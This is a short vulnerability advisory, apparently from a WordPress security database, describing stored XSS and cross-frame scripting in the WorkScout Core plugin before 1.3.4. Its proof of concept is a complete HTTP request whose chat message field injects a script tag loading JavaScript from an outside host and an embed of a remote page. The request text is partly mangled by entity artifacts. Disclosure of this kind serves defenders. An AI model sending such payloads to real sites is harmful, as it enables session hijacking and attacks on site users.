WorkScout Core < 1.3.4 - Authenticated Stored XSS & XFS

The plugin, used by the WorkScout Theme did not sanitise the chat messages sent via the workscout_send_message_chat AJAX action, leading to Stored Cross-Site Scripting and Cross-Frame Scripting issues

PoC

Payloads: "> POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://workscout.in/messages/?action=view&amp;conv;_id=163 Cookie: [user cookies] action=workscout_send_message_chat&recipient;=3&conversation;_id=163&message;=%3C!–%3E%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fa.js%3E%3C%2Fscript%3E%3C!–%3E%3Cembed%20src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E